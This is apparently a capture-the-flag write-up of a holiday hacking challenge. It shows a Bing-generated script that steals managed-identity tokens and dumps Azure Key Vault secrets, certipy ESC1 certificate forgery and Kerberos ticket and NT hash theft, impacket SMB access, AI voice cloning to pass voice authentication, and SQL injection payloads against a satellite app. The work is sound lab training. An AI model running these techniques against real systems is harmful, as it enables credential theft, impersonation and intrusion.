Certainly! Here is the updated Python script that uses the 2022-07-01 API version to list key vaults and the 7.4 API version to get the contents of each vault. For each secret found, it gets the secret value:

 import requests
 import json

 # Get access token for vault.azure.net
 response = requests.get('http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net', headers={'Metadata': 'true'})
 vault_access_token = response.json()['access_token']

 # Get access token for management.azure.com
 response = requests.get('http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/', headers={'Metadata': 'true'})
 management_access_token = response.json()['access_token']

 # Get list of key vaults
 response = requests.get('https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01', headers={'Authorization': 'Bearer ' + management_access_token})
 key_vaults = response.json()['value']

 # Print contents of each key vault
 for key_vault in key_vaults:
     try:
         response = requests.get(key_vault['properties']['vaultUri'] + '/secrets?api-version=7.4', headers={'Authorization': 'Bearer ' + vault_access_token})
         secrets = response.json()['value']
         print('Key Vault:', key_vault['name'])
         print('Secrets:')
         for secret in secrets:
             response = requests.get(secret['id'] + '?api-version=7.4', headers={'Authorization': 'Bearer ' + vault_access_token})
             secret_value = response.json()['value']
             print('  ', secret['id'], ':', secret_value)
     except Exception as e:
         print('Error:', str(e))
         continue

Please note that you will need to replace {subscriptionId} with your subscription ID in the script. Also, you will need to have the necessary permissions to access the key vaults in order to successfully run the script. Let me know if you have any questions!

Source: Conversation with Bing, 29/12/2023

  1. Azure Quickstart - Set and retrieve a secret from Key Vault using Azure …. https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-portal.
  2. How do I access Azure Key Vault Secrets from my ASP.NET Core Web API?. https://stackoverflow.com/questions/77654492/how-do-i-access-azure-key-vault-secrets-from-my-asp-net-core-web-api.
  3. Retrieve the secret value from Azure Keyvault with Az.KeyVault …. https://stackoverflow.com/questions/68989621/retrieve-the-secret-value-from-azure-keyvault-with-az-keyvault-powershell-module.
  4. Quickstart - Set and retrieve a secret from Azure Key Vault. https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli.
  5. Get Secret - Get Secret - REST API (Azure Key Vault). https://learn.microsoft.com/en-us/rest/api/keyvault/secrets/get-secret/get-secret?view=rest-keyvault-secrets-7.4.

You modify the script slightly to use the correct subscriptionId:

 $ diff bing_response_4.py bing_key_vault_enum.py --ignore-space-change
 0a1,2
 > subscriptionId="2b0942f3-9bca-484b-a508-abdae2db5e64"
 >
 13c15
 < response = requests.get('https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01', headers={'Authorization': 'Bearer ' + management_access_token})
 ---
 > response = requests.get(f"https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01", headers={'Authorization': 'Bearer ' + management_access_token})
 29a32
 >

You copy and paste the script into a file on the ssh host and run it. This results in the discovery of a tmpAddUserScript secret in the northpole-it-kv vault which reveals:

alabaster@ssh-server-vm:/dev/shm$ python3 bing_key_vault_enum.py
Key Vault: northpole-it-kv
Secrets:
   https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript : Import-Module ActiveDirectory; $UserName = "elfy"; $UserDomain = "northpole.local"; $UserUPN = "$UserName@$UserDomain"; $Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force; $DCIP = "10.0.0.53"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
Error: 'value'

Looking in the alabaster home directory, impacket is available:

alabaster@ssh-server-vm:~$ ls impacket/
DumpNTLMInfo.py     addcomputer.py   dpapi.py           getPac.py     keylistattack.py  mqtt_check.py     nmapAnswerMachine.py  psexec.py      registry-read.py  secretsdump.py  smbrelayx.py  ticketConverter.py  wmiquery.py
Get-GPPPassword.py  atexec.py        esentutl.py        getST.py      kintercept.py     mssqlclient.py    ntfs-read.py          raiseChild.py  rpcdump.py        services.py     smbserver.py  ticketer.py
GetADUsers.py       certipy          exchanger.py       getTGT.py     lookupsid.py      mssqlinstance.py  ntlmrelayx.py         rbcd.py        rpcmap.py         smbclient.py    sniff.py      tstool.py
GetNPUsers.py       changepasswd.py  findDelegation.py  goldenPac.py  machine_role.py   net.py            ping.py               rdp_check.py   sambaPipe.py      smbexec.py      sniffer.py    wmiexec.py
GetUserSPNs.py      dcomexec.py      getArch.py         karmaSMB.py   mimikatz.py       netview.py        ping6.py              reg.py         samrdump.py       smbpasswd.py    split.py      wmipersist.py

Arriving at a zen state with Reportinator, despite your previous disagreements, you recall the finding “1. Vulnerable Active Directory Certificate Service-Certificate Template Allows Group/User Privilege Escalation” which used certipy to scan for and exploit a vulnerability. You tread the same path and scan for vulnerabilities, finding that there is a Certificate template, NorthPoleUsers that is vulnerable to the ESC1 privilege escalation path, allowing a user to request a certificate as another user. The response also discloses the following:

alabaster@ssh-server-vm:~/impacket$ ./certipy  find -u elfy@northpole.local -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231228061456_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231228061456_Certipy.txt'
[*] Saved JSON output to '20231228061456_Certipy.json'

alabaster@ssh-server-vm:~/impacket$ jq . 20231228061456_Certipy.json
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "northpole-npdc01-CA",
      "DNS Name": "npdc01.northpole.local",
      "Certificate Subject": "CN=northpole-npdc01-CA, DC=northpole, DC=local",
      "Certificate Serial Number": "6A6351021B1F10BC4A58AAEB856C0F40",
      "Certificate Validity Start": "2023-12-28 01:05:30+00:00",
      "Certificate Validity End": "2028-12-28 01:15:30+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "NORTHPOLE.LOCAL\\Administrators",
        "Access Rights": {
          "2": [
            "NORTHPOLE.LOCAL\\Administrators",
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "1": [
            "NORTHPOLE.LOCAL\\Administrators",
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "512": [
            "NORTHPOLE.LOCAL\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "NorthPoleUsers",
      "Display Name": "NorthPoleUsers",
      "Certificate Authorities": [
        "northpole-npdc01-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],

        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Domain Users",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "NORTHPOLE.LOCAL\\Enterprise Admins",
          "Write Owner Principals": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "Write Property Principals": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'NORTHPOLE.LOCAL\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication"
      }
    }
  }
}

You use certipy to request a certificate as alabaster, with a UPN of alabaster@northpole.local:

alabaster@ssh-server-vm:~$ certipy req -username elfy@northpole.local -password 'J4`ufC49/J4766' -ca 'northpole-npdc01-CA' -target npdc01.northpole.local -target-ip 10.0.0.53 -template 'NorthPoleUsers' -upn alabaster@northpole.local -dns 10.0.0.53 -subject CN=albaster
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Failed to resolve: NORTHPOLE.LOCAL
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 40
[*] Got certificate with subject: CN=albaster
[*] Got certificate with multiple identifications
    UPN: 'alabaster@northpole.local'
    DNS Host Name: '10.0.0.53'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'alabaster_10.pfx'

You then use the certificate and private key in alabaster_10.pfx to authenticate as alabaster using Kerberos in order to obtain a ticket-granting ticket (TGT) which can then be used to authenticate against target systems.

 alabaster@ssh-server-vm:~$ certipy auth -pfx 'alabaster_10.pfx' -dc-ip 10.0.0.53
 Certipy v4.8.2 - by Oliver Lyak (ly4k)

 [*] Found multiple identifications in certificate
 [*] Please select one:
     [0] UPN: 'alabaster@northpole.local'
     [1] DNS Host Name: '10.0.0.53'
 > 0
 [*] Using principal: alabaster@northpole.local
 [*] Trying to get TGT...
 [*] Got TGT
 [*] Saved credential cache to 'alabaster.ccache'
 [*] Trying to retrieve NT hash for 'alabaster'
 [*] Got hash for 'alabaster@northpole.local': aad3b435b51404eeaad3b435b51404ee:02f7435ecf9aadcb56e4a07ae09b3a77

You configure impacket so it knows where to look for the credential cache that certipy created:

export KRB5CCNAME="$HOME/alabaster.ccache"

You know you need to exchange the TGT for a service ticket in order to authenticate to SMB, which is typically used for file shares in Windows environments, but you’re not sure what Service Principal Name(SPN) to use. You try authenticating to SMB incorrectly with debug output enabled and impacket helpfully tells you what SPN it’s trying, namely CIFS/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL:

alabaster@ssh-server-vm:~$ ./impacket/smbclient.py  -k -no-pass -dc-ip 10.0.0.53 -target-ip 10.0.0.53 -debug  northpole.local/alabaster@northpole.local
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/alabaster/.venv/lib/python3.11/site-packages/impacket
[+] Using Kerberos Cache: /home/alabaster/alabaster.ccache
[+] SPN CIFS/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL
[+] Using TGS from cache
[+] Changing sname from krbtgt/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL to CIFS/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL and hoping for the best
Traceback (most recent call last):
  File "/home/alabaster/.venv/lib/python3.11/site-packages/impacket/smbconnection.py", line 319, in kerberosLogin
    return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT,
<snip/>

Now that you know the SPN, you run impacket’s getST.py script to obtain a service ticket for SMB, setting the -spn option to cifs/npdc01.northpole.local:

 alabaster@ssh-server-vm:~$ ./impacket/getST.py -k -no-pass -dc-ip 10.0.0.53 -spn cifs/npdc01.northpole.local -debug northpole.local/alabaster@northpole.local
 Impacket v0.11.0 - Copyright 2023 Fortra

 [+] Impacket Library Installation Path: /home/alabaster/.venv/lib/python3.11/site-packages/impacket
 [+] Using Kerberos Cache: /home/alabaster/alabaster.ccache
 [+] Returning cached credential for KRBTGT/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL
 [+] Using TGT from cache
 [+] Username retrieved from CCache: alabaster
 [*] Getting ST for user
 [+] Trying to connect to KDC at 10.0.0.53:88
 [*] Saving ticket in alabaster@northpole.local.ccache

You then use the service ticket to authenticate to SMB. The debug messages are a little bit confusing but it works, dropping you into an SMB session.

 alabaster@ssh-server-vm:~$ ./impacket/smbclient.py  -k -no-pass -dc-ip 10.0.0.53 -target-ip 10.0.0.53 -debug northpole.local/alabaster@npdc01.northpole.local
 Impacket v0.11.0 - Copyright 2023 Fortra

 [+] Impacket Library Installation Path: /home/alabaster/.venv/lib/python3.11/site-packages/impacket
 [+] Using Kerberos Cache: /home/alabaster/alabaster.ccache
 [+] SPN CIFS/NPDC01.NORTHPOLE.LOCAL@NORTHPOLE.LOCAL not found in cache
 [+] AnySPN is True, looking for another suitable SPN
 [+] Returning cached credential for KRBTGT/NORTHPOLE.LOCAL@NORTHPOLE.LOCAL
 [+] Using TGT from cache
 [+] Trying to connect to KDC at 10.0.0.53:88
 Type help for list of commands
 #

Examining the file share, you locate the secret file InstructionsForEnteringSatelliteGroundStation.txt, which contains a passphrase for the Satellite Ground Station.

 # shares
 ADMIN$
 C$
 D$
 FileShare
 IPC$
 NETLOGON
 SYSVOL
 # use FileShare
 # ls
 drw-rw-rw-          0  Thu Dec 28 01:13:43 2023 .
 drw-rw-rw-          0  Thu Dec 28 01:13:40 2023 ..
 -rw-rw-rw-     701028  Thu Dec 28 01:13:42 2023 Cookies.pdf
 -rw-rw-rw-    1521650  Thu Dec 28 01:13:42 2023 Cookies_Recipe.pdf
 -rw-rw-rw-      54096  Thu Dec 28 01:13:43 2023 SignatureCookies.pdf
 drw-rw-rw-          0  Thu Dec 28 01:13:43 2023 super_secret_research
 -rw-rw-rw-        165  Thu Dec 28 01:13:43 2023 todo.txt
 # cd super_secret_research
 # ls
 drw-rw-rw-          0  Thu Dec 28 01:13:43 2023 .
 drw-rw-rw-          0  Thu Dec 28 01:13:43 2023 ..
 -rw-rw-rw-        231  Thu Dec 28 01:13:43 2023 InstructionsForEnteringSatelliteGroundStation.txt
 # cat InstructionsForEnteringSatelliteGroundStation.txt
 [+] Encoding detection: ascii is most likely the one.
 Note to self:

 To enter the Satellite Ground Station (SGS), say the following into the speaker:

 And he whispered, 'Now I shall be out of sight;
 So through the valley and over the height.'
 And he'll silently take his way.

You submit the solution of InstructionsForEnteringSatelliteGroundStation.txt.

The objective is marked complete and an achievement is unlocked. You feel directly activated and actively directoried … no, just no …

Space Island Door Access Speaker - Spaceport Point - Space Island

Now that you’ve exfiltrated the passphrase from Active Directory, you return to Jewel Loggins on Space Island. Jewel Loggins is ecstatic, obtains the passphrase from you by digital telepathy and tries it on the door.

Unfortunately, Wombley Cube has implemented MFA and seems to require the passphrase to be spoken in their voice. Fortunately, Wombley Cube likes talking and has previously gifted you with an audio book narrated by themselves.

Jewel Loggins suggests you find an AI tool that can clone voices.

You try out the first voice cloner you find that does not require a sign-up, which turns out to be https://vocloner.com. You upload the audiobook Wombley Cube provided in your last encounter, wombleycube_the_enchanted_voyage.mp3, and copy and paste the passphrase from the Active Directory challenge. The tool generates a WAV file that you download.

The generated voice doesn’t sound very convincing to your untrained ear but you try it out anyway.

Unexpectedly, the door unlocks. Apparently, if it quacks like a duck, it’s a goose but you’re not complaining. Quite a few of the challenges have been non-trivial to date, so you can appreciate an easy break just this once. You make a mental note to try out other voice cloners in future and stride through the open door.

You tally up another objective and achievement.

Camera Access - Zenith SGS - Cape Cosmic - Space Island

On the other side of the door, you find yourself exiting a tram within the Cape Cosmic fenced perimeter.

You waltz boldly to the right, acting like you own the place, and eventually arrive at Zenith SGS.

Within Zenith SGS, you discover none other than Wombley Cube, who is shocked you managed to get this far. They are super confident you cannot go any further. So confident that for some reason they cannot move when you are around.

Wandering freely over to the center console, you take a quick peek, wondering if Wombley Cube really won’t interfere. They don’t seem to budge by even one pixel.

Emboldened, you take a longer look.

It looks pretty innocuous, like a Christmas Greeting card. However, you suddenly notice the GateXOR non-verbally croaking at you from the lower right corner.

You click the GateXOR and arrive at a time traveling portal. This explains how the GateXOR can non-verbally croak like a frog - it’s not from around here.

Not wishing to waste time, you click the time travel button and … things happen … Apparently Wireguard is more than it seems and has a role to play in this time travel business. You copy the generated client configuration into wireguard.conf, then write a quick wireguardup.sh script to bring up the Wireguard interface. You make one small change to wireguard.conf to comment out the Address setting, since it doesn’t work with your version. Instead, you set the local IP address using the ip address command on line 9 below.

 #/bin/bash

 sudo ip link add dev wg0 type wireguard # add wireguard network interface

 # wireguard.conf contains settings issued by the GateXOR Time Travel, with the 'Address' commented
 # out.
 sudo wg setconf wg0 wireguard.conf

 sudo ip address add dev wg0 10.1.1.2/24     # manually set the IP address
 sudo ip link set wg0 up                     # bring the interface up
 ip address show wg0                         # confirm assigned address
 ip route get 10.1.1.1                       # confirm routing

You run the script … You have to admit to being a bit disappointed. Time travel in real life seems nothing at all like the movies.

$ ./wireguardup.sh
6: wg0: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1420 qdisc noqueue state UNKNOWN group default qlen 1000
    link/none
    inet 10.1.1.2/24 scope global wg0
       valid_lft forever preferred_lft forever
10.1.1.1 dev wg0 src 10.1.1.2 uid 1000
    cache

The interface seems up but you’re not sure what you’re supposed to do next. You could attempt to scan ports but there might be a faster way. You look around Zenith SGS for further clues.

Not seeing anything obvious and feeling a bit peckish after the trial and tribulations of all the challenges, you front up to the vending machine but instead of food, it vends a client_container.zip file. Ahah! This must be a clue. You unzip the file and poke around.

In README.md, you find some big clues, as shown below. Apparently the Nanosat MO Framework is in use, which is a framework for deploying apps to small satellites, as well as supporting a corresponding ground control station. There’s also a listening endpoint at maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory.

 ## Nanosat MO Framework:

 Documentation on the Nanosat framework can be found at:

 https://nanosat-mo-framework.readthedocs.io/en/latest/opssat/testing.html

 Can connect to a server using:

 ```
 maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory
 ```

You confirm the port seems to be open:

$ nc -n -v 10.1.1.1 1024
(UNKNOWN) [10.1.1.1] 1024 (?) open

Looking at both the Nanosat MO Framework documentation and the client_container code, you piece together a couple of ways to interact with the satellite:

  1. client_container/assets/nmf/consumer-test-tool/consumer-test-tool.sh corresponding to the Consumer Test Tool (CTT)

  2. client_container/assets/nmf/cli-tool/cli-tool.sh corresponding to the CLI Tool

You run the CTT, type maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory that you obtained from README.md into the “Directory Service URI” input field, then click “Fetch Information”:

You click “Connect to Selected Provider”, then select the top level “nanosat-mo-supervisor” tab that appears. Poking around here, you find an “Apps Launcher service” child tab and observe a “missile-targeting-system” app and a “camera” app. You note the former but since it is superfluous to the current objective, you ignore it for now. You select the “camera” app, which was not already running, and click “runApp”:

Now that the camera app is running, you return to the top level “Communications Settings (Directory)” tab and click “Fetch Information” again. An “App: camera” appears in the “Providers List”:

You then connect to the “App: camera” provider in much the same way you connected to the “nanosat-mo-supervisor” provider. A new top level “App: camera” tab appears:

In the “Parameter Service” child tab, you find two parameters and click “enableGeneration” on both of them:

Switching to the “Action Service” child tab, you click “submitAction”, leave the default values and successfully submit the action:

A short time later, you observe a base64 encoded camera image displayed in the “Published Parameter Values” child tab. However, there appears to be no way to copy this value from the UI:

You try to get the value via the “getValue” button on the “Parameter Service” tab but the CTT appears to hang. In fact, the entire time travel tunnel becomes frozen and needs to be collapsed by GateXOR.

There has to be an out-of-the-box way to obtain the published Base64SnapImage value. You don’t wish to chance a more severe space-time continuum collapse by unleashing Wireshark on Wireguard in order to sniff the Base64SnapImage value - when the two Wires cancel out would you get SharkGuard or would you get GuardShark? It’s too risky to try. Instead, you try out the other tool you found, client_container/assets/nmf/cli-tool/cli-tool.sh. You confirm the tool can see the parameters exist:

$ ./cli-tool.sh parameter list -r maltcp://10.1.1.1:1025/camera-Directory

<snip/>
Found the following parameters:
Domain: [esa, NMF_SDK, camera]
  - NumberOfSnapsTaken
  - Base64SnapImage
<snip/>

You then subscribe to parameter updates, sending the output to both the terminal and a file, camera-Directory-parameter-subscribe.log. You Ctrl-c the command as soon as one update is written:

$ ./cli-tool.sh parameter subscribe -r maltcp://10.1.1.1:1025/camera-Directory  | tee camera-Directory-parameter-subscribe.log

<snip/>

[1703826463956] - numberofsnapstaken: 2
[1703826465698] - base64snapimage:
/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQU<snip/>

You extract the base64 encoded value into camera-app-image.b64:

$ grep base64snapimage camera-Directory-parameter-subscribe.log |sed -E -e 's/^.*base64snapimage: (.*$)/\1/'>camera-app-image.b64

You base64 decode the file into a generic camera-app-image.bin file, since you don’t yet know what kind of image it is:

$ base64 -d camera-app-image.b64 > camera-app-image.bin

According to file, the image is in JPEG format:

$ file camera-app-image.bin
camera-app-image.bin: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2048x2048, components 3

You rename the image to give it a jpeg extension

$ mv camera-app-image.bin camera-app-image.jpeg

You view the image and observe the third item on Jack’s TODO list to be CONQUER HOLIDAY SEASON!. You submit this answer via the objective input box and it is accepted.

You chalk up another objective and achievement.

You hope the camera is not a two-way camera.

Missile Diversion - Zenith SGS - Cape Cosmic - Space Island

Now that you’ve uncovered Jack’s plot, Wombley Cube, like all villains in real life, confesses to their complicity and, also like all villains in real life, claims to be the good guy who is serving a higher purpose.

It’s all making some sense now. You were right to be wary of Wombley Cube after Kraking the Kraken. It looks like it’s up to you, yes YOU, who else could it be, to save the HOLIDAY SEASON!

You begin to seriously suspect that all these extraneous words are just here to fill up the empty space next to the screenshots.

Alas, you don’t have quite enough senseless drivel to fill up this one.

Wombley Cube’s words slide off you like … things that slide off things really, really easily. Thinking back to the missile-targeting-system app you noticed in the Consumer Testing Tool, you return to the tool and run the app, just like you ran the camera app.

Now that the missile-targeting-system is running, you return to the top level “Communications Settings (Directory)” tab and click “Fetch Information” again. An “App: missile-targeting-system” appears in the “Providers List”:

You then connect to the “App: missile-targeting-system” provider in much the same way you connected to the “nanosat-mo-supervisor” provider. A new top level “App: missile-targeting-system” tab appears. You click “enableGeneration” for all parameters in the “Parameter Service” child tab.

You confirm you can retrieve the parameters using cli-tool.sh and dump them to a file in JSON format. This time you figure out you can use the parameter get sub-command instead of the parameter subscribe sub-command you used for the camera access.

$ ./cli-tool.sh parameter get -r maltcp://10.1.1.1:1026/missile-targeting-system-Directory -j  missile-targeting-system-parameters.json
<snip/>
Parameters successfully dumped to file: missile-targeting-system-parameters.json
<snip/>

You use jq to extract the parameter values from the JSON, observing two notable points:

$ cat missile-targeting-system-parameters.json|jq '."[esa, NMF_SDK, missile-targeting-system]"|{"pointingMode": .PointingMode[-1], "X": .X[-1], "Y": .Y[-1], "Debug": .Debug[-1]}'
{
  "pointingMode": {
    "parameterValue": "Earth Point Mode",
    "timestamp": 1703829960903000000
  },
  "X": {
    "parameterValue": "100.000000",
    "timestamp": 1703829962515000000
  },
  "Y": {
    "parameterValue": "100.000000",
    "timestamp": 1703829964319000000
  },
  "Debug": {
    "parameterValue": "VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | \n",
    "timestamp": 1703829965944000000
  }
}

In the CTT, you try setting the pointingMode to “Sun Point Mode”:

However, when you retrieve the parameters again, it is shown to have had no effect. You could try more values but at this point you take a look at the JAR files contained in the client_container.zip that you obtained during the Camera Access challenge. You find the missile-targeting-system-2.1.0-SNAPSHOT.jar and decompile it using jd-gui. You quickly locate a conspicuous SQL Injection vulnerability in the sqlDebug method. The vulnerable parameter is even called injection! Furthermore, the DB connection string is jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true and the database user is targeter:

You note the effect of the allowMultiQueries=true parameter may allow you to update/insert data by chaining update/insert statements with the existing SELECT statement:

Back in the CTT, you try submitting the Debug action from the “Action Service” child tab with a single quote argument:

You re-fetch the parameters using cli-tool.sh and confirm the existence of a SQL Injection vulnerability, complete with explicit MariaDB error messages:

$ cat missile-targeting-system-parameters-after-debug-argument-single-quote.json|jq '."[esa, NMF_SDK, missile-targeting-system]"|{"pointingMode": .PointingMode[-1], "X": .X[-1], "Y": .Y[-1], "Debug": .Debug[-1]}'
<snip/>
  "Debug": {
    "parameterValue": "java.sql.SQLSyntaxErrorException: (conn=6218) You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1",
    "timestamp": 1703830875944000000
  }
<snip/>

Back in jd-gui, you also notice the sqlGetMode function reveals the tables pertinent to the pointing mode:

You submit the following SQL Injection payload via the Debug Action in order to dump the contents of the pointing_mode_to_str table:

union SELECT concat(str_mode, '_', numerical_mode) FROM pointing_mode_to_str

The retrieved Debug parameter indicates there are two rows in pointing_mode_to_str.str_mode: (“Earth Point Mode”, 0) and (“Sun Point Mode”, 0):

"Debug": {
  "parameterValue": "VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | \nVERSION(): Earth Point Mode_0 | \nVERSION(): Sun Point Mode_1 | \n",
  "timestamp": 1703831705944000000
}

You try injecting a payload to update pointing_mode.numerical_mode to 1 in an attempt to set the pointing mode to the Sun:

; UPDATE pointing_mode SET numerical_mode = 1

However, the current database user targeter has insufficient permissions:

"Debug": {
  "parameterValue": "java.sql.SQLSyntaxErrorException: (conn=8227) UPDATE command denied to user 'targeter'@'172.18.0.5' for table `missile_targeting_system`.`pointing_mode`",
  "timestamp": 1703832695944000000
}

You decide to dump table names. Maybe there will be something else that’s useful:

union select table_name from information_schema.tables

The (abbreviated) results reveal five non-standard tables, all with lowercase names:

"Debug": {
  "parameterValue": "VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | \nVERSION(): ALL_PLUGINS | \nVERSION(): APPLICABLE_ROLES <snip/> satellite_query | \nVERSION(): messaging | \nVERSION(): pointing_mode_to_str | \nVERSION(): pointing_mode | \nVERSION(): target_coordinates | \n",
  "timestamp": 1703834345944000000
}

The most important table proves to be satellite_query. You first dump its column names:

union select column_name from information_schema.columns where table_name='satellite_query'

Indicating there are Three columns named jid, object, results. Really, there could be no other number:

"Debug": {
  "parameterValue": "VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | \nVERSION(): jid | \nVERSION(): object | \nVERSION(): results | \n",
  "timestamp": 1703835445944000000
}

You then dump the table contents:

union select concat(jid,'|',object,'|',results) from satellite_query

With some juicy (abbreviated) results:

"Debug": {
  "parameterValue": "VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | \nVERSION(): 1|��\u0000\u0005sr\u0000\u001fSatelliteQueryFileFolderUtility\u0012���\u000e���\u0002\u0000\u0003Z\u0000\u0007isQueryZ\u0000\bisUpdateL\u0000\u000fpathOrStatementt\u0000\u0012Ljava/lang/String;xp\u0000\u0000t\u0000)/opt/SatelliteQueryFileFolderUtility.java|import java.io.Serializable;\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.stream.Collectors;\nimport java.util.stream.Stream;\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport com.google.gson.Gson;\n\npublic class SatelliteQueryFileFolderUtility implements Serializable { <snip/> }\n | \n",
  "timestamp": 1703835495944000000
}

The value in the object column appears to be a serialized Java object and the value in the results column appears to be it’s source code. You copy the code into a file and format it nicely, shown below. You observe this code supports four possible operations:

The serialized object in the table appears to be deserialized by some process, executed and the results stored into the results column of the table. In the above case, the results are the source code for SatelliteQueryFileFolderUtility.java because pathOrStatement is set to /opt/SatelliteQueryFileFolderUtility.java in the serialized object and isQuery and isUpdate are both false.

import jAVA.Io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
